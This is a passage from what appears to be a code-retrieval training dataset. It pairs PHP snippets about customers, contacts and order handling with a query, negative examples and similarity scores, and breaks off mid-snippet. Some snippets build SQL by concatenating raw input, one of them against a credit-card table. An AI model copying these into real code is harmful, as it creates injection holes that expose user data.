$this->contact;\n }", "public function customer(){\n\t\treturn Customers::find($this->customers_id);\n\t}", "public function customer()\n {\n return Customer::retrieve($this->customer);\n }", "public function getCustomer()\n {\n return $this->data->customer;\n }", "public function getCustomer()\n {\n $customer = $this->ticketData->getCustomer();\n return $customer;\n }", "public function getCustomer()\n {\n return $this->customer instanceof CustomerReferenceBuilder ? $this->customer->build() : $this->customer;\n }", "public function getCustomer()\n {\n return $this->customer instanceof CustomerReferenceBuilder ? $this->customer->build() : $this->customer;\n }", "public function returnContact(){\n return $this->contact->getContact(); //Chama a função getContact do objeto contact\n }", "public function getCustomer()\n {\n try {\n return $this->currentCustomer->getCustomer();\n } catch (NoSuchEntityException $e) {\n return null;\n }\n }", "public function getCustomer();", "function getContact()\n\t{\n\t\treturn $this->Info['Contact'];\n\t}", "public function getContact() {\n try {\n return new Yourdelivery_Model_Contact($this->getContactId());\n } catch (Yourdelivery_Exception_Database_Inconsistency $e) {\n return null;\n }\n }", "public function getCustomer()\n {\n return $this->customer;\n }", "public function getCustomer()\n {\n return $this->customer;\n }", "public function getCustomer()\n {\n return $this->customer;\n }", "public function getCustomer()\n {\n $customer = new Customer($this->getEmail(),\n $this->getFirstname(),\n $this->getLastname());\n $customer->setId($this->getCustomerId())\n ->setStreet($this->getStreet())\n ->setPostCode($this->getPostcode())\n ->setCity($this->getCity())\n ->setCountry($this->getCountry())\n ->setPhone($this->getPhone())\n ->setLanguage($this->getLanguage());\n\n\n return $customer;\n }", "public function getCustomer() {\n return $this->customer;\n }", "public static function getCustomer($contactid) {\r\n\t\tif(is_numeric($contactid)){\r\n\t\t\t$dq = Doctrine_Query::create ()->from ( 'Contacts c' )->leftJoin('c.Customers co')->where('c.contact_id = ?', $contactid)->limit(1);\r\n\t\t\t$record = $dq->execute (array (), Doctrine::HYDRATE_ARRAY);\r\n\t\t\treturn !empty($record[0]['Customers']) ? $record[0]['Customers'] : array();\r\n\t\t}else{\r\n\t\t\treturn array();\r\n\t\t}\r\n\t}", "public function findCustomer()\n {\n try {\n return $this->gateway->findCustomer($this->user->paymentProfile)->send()->getData();\n } catch (NotFound $exception) {\n return $this->gateway->findCustomer($this->user->refreshPaymentProfile($this->name))->send()->getData();\n }\n }", "public function getCustomer()\n {\n return $this->hasOne(Customer::class, ['id' => 'customer_id'])->inverseOf('orders');\n }", "public function search($customer)\n {\n \t$parameters = $this->getSoapParamsArray(['Surname' => $customer->surname, 'Postcode' => $customer->postcode, 'Forename' => $customer->forename]);\n \treturn $this->callSoapFunction('SOAP_getContacts', $parameters);\t\n }", "public function getCustomerByID($customerID)\n\t{\n\t $parameters = $this->getSoapParamsArray([\"Contact_ID\" => $customerID]);\n \treturn $this->callSoapFunction('SOAP_getContactDetails', $parameters);\n\t}", "public function getCustomer()\n {\n return $this->hasOne(Customer::className(), ['customerId' => 'customerId']);\n }", "public function getCustomer($customer_id);", "public static function getCustomerById($customerId) {\n return Customer::loadById($customerId);\n }", "public function getCustomer()\n {\n return $this->hasOne(User::class, ['id' => 'customer_id']);\n }", "public function get( Customer $customer )\n {\n return $this->customerService->get();\n }", "public function getContact(): string\n {\n return $this->_contact;\n }", "public function getCustomer()\n {\n $customerInfo = array(\n 'email' => null,\n 'firstName' => null,\n 'lastName' => null\n );\n\n try {\n if ($this->customerSession->isLoggedIn()) {\n $customer = $this->customerSession->getCustomer();\n $customerMiddleName = $customer->getMiddlename();\n $customerInfo = array(\n 'email' => $customer->getEmail(),\n 'firstName' => $customer->getFirstname() . (!empty($customerMiddleName) ? ' ' . $customerMiddleName : ''),\n 'lastName' => $customer->getLastname()\n );\n }\n } catch (Exception $exception) {\n $this->exceptionHandler->logException($exception);\n }\n\n return $customerInfo;\n }", "public function getCustomer() {\r\n return $this->session->getCustomer();\r\n }", "public function getCustomer()\n {\n return $this->hasOne(User::className(), ['id' => 'customer_id']);\n }", "protected function getCustomerFromAccountOrUser(): ?CustomerContract\n {\n $customer = $this->account->getProfessional()->getCustomer();\n\n // If not found => from user\n if (!$customer && $this->user):\n return $this->user->toCustomer();\n endif;\n\n return $customer;\n }", "public function getPortalContact()\n {\n return BeanFactory::getBean('Contacts', $_SESSION['contact_id']);\n }", "function get_customercontacts($custID, $loginID = '', $debug = false) {\n\t\t$loginID = (!empty($loginID)) ? $loginID : DplusWire::wire('user')->loginid;\n\t\t$user = LogmUser::load($loginID);\n\t\t$SHARED_ACCOUNTS = DplusWire::wire('config')->sharedaccounts;\n\n\t\t$q = (new QueryBuilder())->table('custindex');\n\n\t\tif ($user->get_dplusrole() == DplusWire::wire('config')->roles['sales-rep'] && DplusWire::wire('pages')->get('/config/')->restrict_allowedcustomers) {\n\t\t\t$custquery = (new QueryBuilder())->table('custperm')->where('custid', $custID);\n\t\t\t$permquery = (new QueryBuilder())->table($custquery, 'custpermcust');\n\t\t\t$permquery->field('custid, shiptoid');\n\t\t\t$permquery->where('loginid', [$loginID, $SHARED_ACCOUNTS]);\n\t\t\t$q->where('(custid, shiptoid)','in', $permquery);\n\t\t} else {\n\t\t\t$q->where('custid', $custID);\n\t\t}\n\n\t\t$sql = DplusWire::wire('database')->prepare($q->render());\n\n\t\tif ($debug) {\n\t\t\treturn $q->generate_sqlquery($q->params);\n\t\t} else {\n\t\t\t$sql->execute($q->params);\n\t\t\t$sql->setFetchMode(PDO::FETCH_CLASS, 'Contact');\n\t\t\treturn $sql->fetchAll();\n\t\t}\n\t}", "public function getCustomers()\n {\n if (array_key_exists(\"customers\", $this->_propDict)) {\n return $this->_propDict[\"customers\"];\n } else {\n return null;\n }\n }", "public function getBillingContact() {\n try {\n return new Yourdelivery_Model_Contact($this->getBillingContactId());\n } catch (Yourdelivery_Exception_Database_Inconsistency $e) {\n return null;\n }\n }", "function get_contact($uid) {\n //make sure the uid is set\n if (!isset($uid) || empty($uid)) {\n throw new Zim_Exception_UIDNotSet();\n }\n $q = Doctrine_Query::create()\n ->from('Zim_Model_User user')\n ->where('user.uid = ?', $uid)\n ->limit(1);\n $contact = $q->fetchOne();\n if (empty($contact)) {\n throw new Zim_Exception_ContactNotFound();\n }\n $contact = $contact->toArray();\n if (!isset($contact['uname']) || trim($contact['uname']) == ''){\n $contact['uname'] = $this->update_username(array('uid' => $contact['uid']));\n }\n\n //return the contact\n return $contact;\n }", "public function getContact(){\n return $this->getParameter('contact');\n }", "public function getContact(): ?array\n\t{\n\t\treturn $this->contact;\n\t}", "public function get(int $id): ActiveCampaignContact\n {\n return ContactFactory::make($this->request(\n method: 'get',\n path: 'contacts/'.$id,\n responseKey: 'contact'\n ));\n }", "public function customer_get($customerId){\t\t\t\t\t\t\t\t\n\t\t$params = array('customerId' => $customerId);\t\t\n\t\ttry {\n\t\t\t$flow = $this->send('customer/get', $params, 'GET');\t \t\t\t\n\t\t\treturn $flow;\n\t\t} catch (Exception $e) { return $e->getCode().\" - \".$e->getMessage(); }\n\t}", "public function contact()\n {\n return $this->hasOne(OrderContact::class);\n }", "public static function getContacts($customerid){\n\t\t$dq = Doctrine_Query::create ()\n ->select ( 'c.contact_id, c.contact, ct.name as type' )\n ->from ( 'Contacts c' )\n ->leftJoin ( 'c.ContactsTypes ct ON ct.type_id = c.type_id' )\n ->where('c.customer_id = ' . $customerid);\n \n\t return $dq->execute ( array (), Doctrine_Core::HYDRATE_ARRAY );\n\t}", "public function getIdContact()\n {\n return $this->id_contact;\n }", "public function customer()\n {\n return $this->hasOne(Customer::class);\n }", "public function customer()\n {\n return $this->hasOne(Customer::class);\n }", "public function getContact(): ?string;", "public static function getContactByCustomerAndType($customerid, $type_id) {\n\t\t$dq = Doctrine_Query::create ()\r\n\t\t\t\t\t\t\t\t->select ( 'c.contact_id, c.contact, ct.name as type' )\r\n\t\t\t\t\t\t\t\t->from ( 'Contacts c' )\r\n\t\t\t\t\t\t\t\t->leftJoin ( 'c.ContactsTypes ct ON ct.type_id = c.type_id' )\r\n\t\t\t\t\t\t\t\t->where('c.customer_id = ?', $customerid)\n\t\t\t\t\t\t\t\t->addWhere('c.type_id = ?', $type_id);\n\t\treturn $dq->execute ( array (), Doctrine_Core::HYDRATE_ARRAY );;\n\t}", "public function customers(){\n\t\t$contact = DB::connection('mysql_banquet_pos')->table('contacts')->where('deleted_at','=',NULL)->get();\n\t\t return view('backend.admin.pos.contact_book.customers',compact(\n\t\t\t'contact'\n\t\t ));\n\t}", "public function getCustomer()\n {\n if (Mage::app()->getStore()->isAdmin()) {\n $adminQuote = Mage::getSingleton('adminhtml/session_quote');\n if ($customer = $adminQuote->getCustomer()) {\n return $customer;\n }\n } else if (Mage::getSingleton('customer/session')->isLoggedIn()) {\n return Mage::getSingleton('customer/session')->getCustomer();\n }\n\n return false;\n }", "public function show(Customer $customer)\n {\n return $customer;\n }", "public function customer_by_id($id)\n {\n return $this->customers->customer_by_id($id);\n }", "public function getCustomerPhone()\n {\n if (array_key_exists(\"customerPhone\", $this->_propDict)) {\n return $this->_propDict[\"customerPhone\"];\n } else {\n return null;\n }\n }", "public function getCustomer($id) {\n return $this->customerRepository->getById($id);\n }", "public function findContactById($id)\n {\n return $this->getContacts()->findContactById($id);\n }", "public function customer()\n {\n return $this->hasOne('App\\Customer', 'customer_id', 'user_id');\n }", "function getSpecificCustomers() {\n\t\treturn $this->_specificCustomers;\n\t}", "public function getContact()\n\t{\n\t\treturn view('contact');\n\t}", "function getCcInfoByCustId($customerid) {\n $query = \"SELECT * FROM `creditcards` WHERE CustomerId='\".$customerid.\"'\";\n $result = Database::selectQuery($query);\n if($result == null) {\n return null;\n } else {\n return $result[0];\n }\n }", "public function getContactID()\n {\n return $this->get('ContactID');\n }", "public function getContactID()\n {\n return $this->get('ContactID');\n }", "public function getContactID()\n {\n return $this->get('ContactID');\n }", "public function getContact(){\n return $this->db->get('contact')->result();\n }", "public function getDataByCustomer()\n {\n $company = $this->companyFactory->create();\n $this->resource->load($company, $this->customerSession->getId(), 'customer_id');\n if (!$company->getId()) {\n return null;\n }\n return $company->getData();\n }", "public function get_customer($customer_reference = \"\"){\r\n $query = $this->db->get_where('view_customer_info', array('customer_reference' => $customer_reference));\r\n return $query->row_array();\r\n }", "public function get_contact(){\n $this->relative = array_shift(Relative::find_all(\" WHERE dead_no = '{$this->id}' LIMIT 1\"));\n if ($this->relative) {\n return $this->relative->contact();\n } else {\n return \"Not Specified\";\n }\n }", "public function getCustomer(int $id)\n {\n return Customer::where('id', $id)->first();\n }", "public function getCustomer($id)\n {\n return $this->_client->makeCall(\"get\", [['record' => $id]]);\n }", "public function getCustomerIdentifier()\n {\n return $this->customer_identifier;\n }", "public function getContact( $contact_id ) {\n\t\treturn $this->call( 'contacts/' . $contact_id );\n\t}", "public static function getCompanyByCustomerId()\n\t{\n\t\t$userId = Auth::getUser()->ID;\n\t\t$companyName = self::select('company')->where('ID', $userId)->first()->company;\n\t\treturn $companyName;\n\t}", "public function show(Customer $customer)\n {\n return $customer->load(['city','zipcode']);\n }", "protected function _getCustomer()\n {\n return Mage::registry('current_customer');\n }", "public function getCustomer($_ID)\n {\n return $this->getUnique(\"customers\", $_ID);\n }", "protected function getCustomer()\n {\n if($this->isAdmin()) {\n return Mage::getModel('customer/customer')->load(Mage::getSingleton('adminhtml/session_quote')->getCustomerId()); // Get customer from admin panel quote\n } else {\n return Mage::getModel('customer/session')->getCustomer(); // Get customer from frontend quote\n }\n }", "public static function getCustomerInfo() {\n\t\t\tif (isset(self::$customer['user'])) {\n\t\t\t\treturn self::$customer['user'];\n\t\t\t}\n\t\t\treturn NULL;\n\t\t}", "protected function _getAuthenticatedCustomer()\n {\n // retrieve authenticated customer ID\n $customerId = $this->_getAuthenticatedCustomerId();\n if ( $customerId )\n {\n // load customer\n /** @var Mage_Customer_Model_Customer $customer */\n $customer = Mage::getModel('customer/customer')\n ->load($customerId);\n if ( $customer->getId() ) {\n // if customer exists, return customer object\n return $customer;\n }\n }\n\n // customer not authenticated or does not exist, so throw exception\n Mage::throwException(Mage::helper('mymodule')->__('Unknown Customer'));\n }", "public function getOrCreateCustomer();", "public function getContacts(): stdClass {\n\n\t\treturn $this->greenApi->request( 'GET',\n\t\t\t'{{host}}/waInstance{{idInstance}}/GetContacts/{{apiTokenInstance}}' );\n\t}", "public function getCustomerPhone()\n {\n return $this->customerPhone;\n }", "function get_primarybuyercontact($custID, $shiptoID = false, $debug = false) {\n\t\t$q = (new QueryBuilder())->table('custindex');\n\t\t$q->limit(1);\n\t\t$q->where('custid', $custID);\n\t\tif (!empty($shiptoID)) {\n\t\t\t$q->where('shiptoid', $shiptoID);\n\t\t}\n\t\t$q->where('buyingcontact', 'P');\n\t\t$sql = DplusWire::wire('database')->prepare($q->render());\n\n\t\tif ($debug) {\n\t\t\treturn $q->generate_sqlquery($q->params);\n\t\t} else {\n\t\t\t$sql->execute($q->params);\n\t\t\t$sql->setFetchMode(PDO::FETCH_CLASS, 'Contact');\n\t\t\treturn $sql->fetch();\n\t\t}\n\t}", "public function get() {\n\t\t$request = $this->send(\"GET\", \"contacts/\" . $this->contactId, [\n\t\t\t'headers' => [\n\t\t\t\t'Accept' => 'application/json, */*',\n\t\t\t]\n\t\t]);\n\t\treturn $request;\n\t}", "public function getCustomerByIdCustomer($id){\n $dbResult = $this->db->query(\"SELECT * FROM customer WHERE id_customer = ?\", array($id));\n return $dbResult->getResult();\n }", "public function getCustomer($args)\n {\n return $this->buildQuery('GetCustomer', $args);\n }", "public function getTelContact() {\n return $this->telContact;\n }", "public static function get_customer( $id=0 ) {\r\n\t\tglobal $wpdb;\r\n\r\n\t\treturn $wpdb->get_row( $wpdb->prepare( \"SELECT * FROM {$wpdb->prefix}customers WHERE id = %d\", $id ) );\r\n\t}", "public function getCiviContactByBarcode($barcode) {\n\n return $this->getCiviContact('barcode', $barcode);\n }", "public function contact()\n {\n return new Contact($this);\n }", "public function getReadableContact()\n {\n return Extra::getBeautifulPhone($this->contact);\n }", "public function getContact()\n {\n return dd(22222);\n }", "public function customer()\n {\n // Note: Laravel throws a LogicException if a customer method exists but\n // doesn't return a valid relationship.\n try {\n if ($customer = $this->customermodel) {\n return $customer;\n }\n } catch (LogicException $e) {}\n \n if (method_exists($this, 'customermodel')) {\n return $this->customermodel();\n }\n \n // Check for customer/subscription on the same model.\n if (method_exists($this, 'gatewayCustomer')) {\n return $this;\n }\n \n return null;\n }", "public function getCustomerId() {\n return $this->customerID;\n }", "public function getContacts()\n\t{\n\t\treturn $this->contacts; \n\n\t}" ]
[ "0.7572138", "0.7480981", "0.7480187", "0.7467929", "0.7467929", "0.7467929", "0.7399479", "0.73614657", "0.73539406", "0.72824776", "0.7280175", "0.7248835", "0.72450334", "0.72122645", "0.72122645", "0.7183999", "0.7168673", "0.71640277", "0.71249825", "0.71224415", "0.7121788", "0.7121788", "0.7121788", "0.7065726", "0.7064695", "0.70282567", "0.7019806", "0.69498634", "0.69139487", "0.68986666", "0.6882412", "0.68245333", "0.68226045", "0.68109673", "0.6796432", "0.6768406", "0.67584443", "0.6748463", "0.67430246", "0.6694191", "0.66926026", "0.66759795", "0.6656498", "0.6614527", "0.66127366", "0.6584053", "0.6495324", "0.6484676", "0.6479541", "0.64701736", "0.6426279", "0.6421149", "0.64097786", "0.64097786", "0.64079505", "0.6386636", "0.63826513", "0.6382537", "0.6376751", "0.6370069", "0.6355833", "0.6355772", "0.63542217", "0.6350322", "0.63471895", "0.6336485", "0.63331735", "0.6332629", "0.6332629", "0.6332278", "0.6327218", "0.63230485", "0.6315872", "0.63148296", "0.63126934", "0.63117003", "0.63083744", "0.63056266", "0.63027436", "0.6300034", "0.62991303", "0.6295485", "0.6293395", "0.6291796", "0.6279538", "0.62757033", "0.6275703", "0.62573284", "0.6252598", "0.6247468", "0.62468594", "0.6242707", "0.6239674", "0.62348723", "0.6231801", "0.6229966", "0.6222281", "0.62088746", "0.62066704", "0.6204715", "0.61961985" ]
0.0
-1
Assign an order function.
public function assign($orderID, $table = null) { $order = $this->order->getByID($orderID); $members = $this->loadModel('user')->getPairs('noclosed,nodeleted,noforbidden'); $this->loadModel('common', 'sys')->checkPrivByCustomer(empty($order)? '0' : $order->customer, 'edit'); if($_POST) { $this->order->assign($orderID); $this->loadModel('customer')->updateEditedDate($order->customer); if(dao::isError()) $this->send(array('result' => 'fail', 'message' => dao::getError())); if($this->post->assignedTo) { $actionID = $this->loadModel('action')->create('order', $orderID, 'Assigned', $this->post->comment, $this->post->assignedTo); $this->sendmail($orderID, $actionID); $this->loadModel('action')->create('customer', $order->customer, 'assignOrder', $this->lang->order->assignedTo . $members[$this->post->assignedTo] . '<br />' . $this->post->comment, html::a($this->createLink('order', 'view', "orderID=$orderID"), $orderID)); } $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess, 'locate' => $this->server->http_referer)); } $this->view->title = $this->lang->order->assignedTo; $this->view->orderID = $orderID; $this->view->order = $order; $this->view->members = $members; $this->display(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function setOrder($order);", "public function order(callable $orderFunction)\n {\n $this->defaultGlobalOrderFunction = $orderFunction;\n return $this;\n }", "function get_order()\n{\n\n}", "public function order(Closure $order): Column\n {\n $order = Closure::bind($order, $this);\n $this->order = $order;\n\n return $this;\n }", "public function setOrder($order);", "public function onReorder(\\Closure $fx)\n {\n $this->set(function () use ($fx) {\n $sortOrders = explode(',', $_POST['order'] ?? '');\n $source = $_POST['source'] ?? null;\n $newIdx = $_POST['new_idx'] ?? null;\n $orgIdx = $_POST['org_idx'] ?? null;\n\n return $fx($sortOrders, $source, $newIdx, $orgIdx);\n });\n }", "function setOrder($order){\n\t\t$this->order=$order;\n\t}", "public function order();", "function getOrder()\n{\n\n}", "function set_order($value) {\n $this->set_mapped_property('order', $value);\n }", "function Trigger_SetOrderColumn(&$tNG) {\n $orderFieldObj = new tNG_SetOrderField($tNG);\n $orderFieldObj->setFieldName(\"sapxep\");\n return $orderFieldObj->Execute();\n}", "function Trigger_SetOrderColumn(&$tNG) {\n $orderFieldObj = new tNG_SetOrderField($tNG);\n $orderFieldObj->setFieldName(\"sapxep\");\n return $orderFieldObj->Execute();\n}", "function SetOrdering()\n {\n GLOBAL $_REQUEST;\n\n $sfid = 'sf' . $this->GetID();\n $srid = 'sr' . $this->GetID();\n $this->sf = $_REQUEST[$sfid];\n $this->sr = $_REQUEST[$srid];\n\n if ($this->sf != '') {\n $this->selectSQL->orders[] = $this->sf . \" \" . $this->sr;\n\n if ($this->sr == \"desc\") {\n $this->sr = \"asc\";\n $this->az = \"za\";\n } else {\n $this->sr = \"desc\"; //!< this is for the future \n $this->az = \"az\";\n } \n } else {\n $this->az = '';\n $this->sr = '';\n } \n }", "function Trigger_SetOrderColumn(&$tNG) {\r\n $orderFieldObj = new tNG_SetOrderField($tNG);\r\n $orderFieldObj->setFieldName(\"sort\");\r\n return $orderFieldObj->Execute();\r\n}", "function Trigger_SetOrderColumn(&$tNG) {\r\n $orderFieldObj = new tNG_SetOrderField($tNG);\r\n $orderFieldObj->setFieldName(\"sort\");\r\n return $orderFieldObj->Execute();\r\n}", "function Trigger_SetOrderColumn(&$tNG) {\r\n $orderFieldObj = new tNG_SetOrderField($tNG);\r\n $orderFieldObj->setFieldName(\"sort\");\r\n return $orderFieldObj->Execute();\r\n}", "function getOrder();", "public function setOrder(?string $order): void\n {\n $this->order = $order;\n }", "public function setOrder(?string $order): void\n {\n $this->order = $order;\n }", "public function setOrder(string $order): void\n {\n $this->_order = $order;\n }", "abstract public function setOrder(OrderModel $order);", "public function setOrder ($value)\r\n\t{\r\n\t\t$this->order = $value;\r\n\t}", "public function createCustomOrder()\n {\n AutoEvent::select('custom_order')->increment('custom_order', 1);\n $this->custom_order = 0;\n }", "public function order($strOrder) {\n\t\t\t$this->arOrder[] = $strOrder; \n\t\t}", "public function setMethodSortFunc(\\Closure $func = null)\n {\n $this->methodSortFunc = $func;\n }", "public function applyPromotion()\n {\n $this->promotion->setOrder($this);\n }", "public function setOrder(\\Magento\\Sales\\Model\\Order $order);", "public function orderBy(callable $function, $direction);", "public function generateOrder();", "public function order() {\r\n\t\t$this->_orders = array();\r\n\t\t$args = func_get_args();\r\n\t\tforeach ($args as $arg) {\r\n\t\t\tif (is_array($arg)) {\r\n\t\t\t\t$this->order($arg);\r\n\t\t\t} else if (!empty($arg)) {\r\n\t\t\t\t$this->_orders[] = $arg;\r\n\t\t\t}\r\n\t\t}\r\n\t}", "public function setOrder($str) { $this->val .= ' ' . $str; }", "public function orderByAscending(callable $function);", "public function setPropertySortFunc(\\Closure $func = null)\n {\n $this->propertySortFunc = $func;\n }", "public function setOrder(OrderInterface $order);", "public function testUpdateOrder()\n {\n }", "public function __construct($order)\n {\n $this->order = $order;\n }", "public function __construct($order)\n {\n $this->order = $order;\n }", "public function __construct($order)\n {\n $this->order = $order;\n }", "public function __construct($order)\n {\n $this->order = $order;\n }", "public function __construct($order)\n {\n $this->order = $order;\n }", "public function __construct($order)\n {\n $this->order = $order;\n }", "public function __construct($order)\n {\n $this->order = $order;\n }", "public function __construct($order)\n {\n $this->order = $order;\n }", "function Trigger_SetOrderColumn(&$tNG) {\n $orderFieldObj = new tNG_SetOrderField($tNG);\n $orderFieldObj->setFieldName(\"menubar2orderlist\");\n return $orderFieldObj->Execute();\n}", "public function applySortOrder($order)\n {\n return $this;\n }", "public function setOrder($order)\n {\n //TODO: implement method, needed for drag and drop sortable\n }", "public function __construct($order)\n {\n $this->order=$order;\n }", "public function setConstantSortFunc(\\Closure $func = null)\n {\n $this->constantSortFunc = $func;\n }", "public function _order_callback($theme_a, $theme_b)\n {\n }", "protected static function on_change_order_state($order)\n {\n \n }", "public function order($field, $order = 'desc');", "abstract public function getOrderAble();", "function setOrder( $order )\n {\n if ( $this->State_ == \"Dirty\" )\n $this->get( $this->ID );\n\n if ( get_class( $order ) == \"ezorder\" )\n {\n $this->OrderID = $order->id();\n } \n }", "public function set_order_field($order_field = NULL)\n\t{\n\t\t$this->_order_field = $order_field;\n\t}", "public function getOrder()\n {\n\n }", "public function setOrderField($x) { $this->orderField = $x; }", "public function setOrder($val)\n {\n $this->_propDict[\"order\"] = $val;\n return $this;\n }", "public function setOrder($val)\n {\n $this->_propDict[\"order\"] = $val;\n return $this;\n }", "function getOrder()\n {\n return 10;\n }", "public function order(string $order, bool $asc);", "function setOrder($array)\n\t{\n\t\t$this->table->order = $array;\n\t}", "public function setOrder($value)\n {\n return $this->set('Order', $value);\n }", "public function addOrder($ord) {\n $this->sql .= \" ORDER BY $ord\";\n }", "public function order(string $order): self\n {\n $this->order[] = $order;\n return $this;\n }", "function order_func($a, $b) \n{\n\treturn $a <=> $b;\n}", "function setOrdering($ordering) {\n $this->ordering = $ordering;\n }", "abstract protected function _buildOrderBy( $order );", "public function test(Order $order);", "public function updateOrder()\n {\n if (!empty($_POST['order'])) {\n $values = [];\n\n $key = $this->businessModel->data[$this->table]['key'];\n\n $query = '\n UPDATE '.$this->db->backtick($this->table).'\n SET '.$this->db->backtick($this->businessModel->data[$this->table]['order']['column']).' = CASE '.$this->db->backtick($key)\n ;\n\n foreach ($_POST['order'] as $order => $id) {\n $values[':'.$key.$id] = $id;\n $values[':order'.$order] = $order;\n $query .= ' WHEN :'.$key.$id.' THEN :order'.$order;\n }\n\n $query .= ' END WHERE '.$this->db->backtick($key).' IN ('.implode(',', array_values($_POST['order'])).')';\n\n $statement = $this->db->handle->prepare($query);\n\n exit($statement->execute($values));\n }\n }", "function getOrder()\n {\n return 2;\n }", "public function getOrder();", "public function getOrder();", "public function getOrder();", "public function getOrder();", "public function getOrder();", "public function getOrder();", "function SetUpSortOrder() {\n\tglobal $dpp_proveedores;\n\n\t// Check for an Order parameter\n\tif (@$_GET[\"order\"] <> \"\") {\n\t\t$dpp_proveedores->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t$dpp_proveedores->CurrentOrderType = @$_GET[\"ordertype\"];\n\n\t\t// Field provee_id\n\t\t$dpp_proveedores->UpdateSort($dpp_proveedores->provee_id);\n\n\t\t// Field provee_rut\n\t\t$dpp_proveedores->UpdateSort($dpp_proveedores->provee_rut);\n\n\t\t// Field provee_dig\n\t\t$dpp_proveedores->UpdateSort($dpp_proveedores->provee_dig);\n\n\t\t// Field provee_cat_juri\n\t\t$dpp_proveedores->UpdateSort($dpp_proveedores->provee_cat_juri);\n\n\t\t// Field provee_nombre\n\t\t$dpp_proveedores->UpdateSort($dpp_proveedores->provee_nombre);\n\n\t\t// Field provee_paterno\n\t\t$dpp_proveedores->UpdateSort($dpp_proveedores->provee_paterno);\n\n\t\t// Field provee_materno\n\t\t$dpp_proveedores->UpdateSort($dpp_proveedores->provee_materno);\n\n\t\t// Field provee_dir\n\t\t$dpp_proveedores->UpdateSort($dpp_proveedores->provee_dir);\n\n\t\t// Field provee_fono\n\t\t$dpp_proveedores->UpdateSort($dpp_proveedores->provee_fono);\n\t\t$dpp_proveedores->setStartRecordNumber(1); // Reset start position\n\t}\n\t$sOrderBy = $dpp_proveedores->getSessionOrderBy(); // Get order by from Session\n\tif ($sOrderBy == \"\") {\n\t\tif ($dpp_proveedores->SqlOrderBy() <> \"\") {\n\t\t\t$sOrderBy = $dpp_proveedores->SqlOrderBy();\n\t\t\t$dpp_proveedores->setSessionOrderBy($sOrderBy);\n\t\t}\n\t}\n}", "public function order(): int;", "public function addOrder(Order $order);", "private function setFuction($function) {\n $this->_function = $function;\n }", "public function setCustomFields ($order) {\n \n }", "function SetUpSortOrder() {\n\t\tglobal $t_tinbai_mainsite;\n\n\t\t// Check for Ctrl pressed\n\t\t$bCtrl = (@$_GET[\"ctrl\"] <> \"\");\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$t_tinbai_mainsite->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$t_tinbai_mainsite->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_CONGTY_ID, $bCtrl); // FK_CONGTY_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DMGIOITHIEU_ID, $bCtrl); // FK_DMGIOITHIEU_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DMTUYENSINH_ID, $bCtrl); // FK_DMTUYENSINH_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DTSVTUONGLAI_ID, $bCtrl); // FK_DTSVTUONGLAI_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DTSVDANGHOC_ID, $bCtrl); // FK_DTSVDANGHOC_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DTCUUSV_ID, $bCtrl); // FK_DTCUUSV_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DTDOANHNGHIEP_ID, $bCtrl); // FK_DTDOANHNGHIEP_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_TITLE, $bCtrl); // C_TITLE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_HIT_MAINSITE, $bCtrl); // C_HIT_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_NEW_MYSEFLT, $bCtrl); // C_NEW_MYSEFLT\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_COMMENT_MAINSITE, $bCtrl); // C_COMMENT_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_ORDER_MAINSITE, $bCtrl); // C_ORDER_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_STATUS_MAINSITE, $bCtrl); // C_STATUS_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_VISITOR_MAINSITE, $bCtrl); // C_VISITOR_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_ACTIVE_MAINSITE, $bCtrl); // C_ACTIVE_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_TIME_ACTIVE_MAINSITE, $bCtrl); // C_TIME_ACTIVE_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_NGUOIDUNGID_MAINSITE, $bCtrl); // FK_NGUOIDUNGID_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_NOTE, $bCtrl); // C_NOTE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_USER_ADD, $bCtrl); // C_USER_ADD\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_ADD_TIME, $bCtrl); // C_ADD_TIME\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_USER_EDIT, $bCtrl); // C_USER_EDIT\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_EDIT_TIME, $bCtrl); // C_EDIT_TIME\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_EDITOR_ID, $bCtrl); // FK_EDITOR_ID\n\t\t\t$t_tinbai_mainsite->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "function order($s)\n{\n\t$this->tryModify();\n\t$args = func_get_args();\n\tif (is_array($args[0])) $args = $args[0];\n\t\n\t$this->query['order'] = $args;\n\treturn $this;\n}", "function order_success()\n{\n\n}", "function mORDER(){\n try {\n $_type = 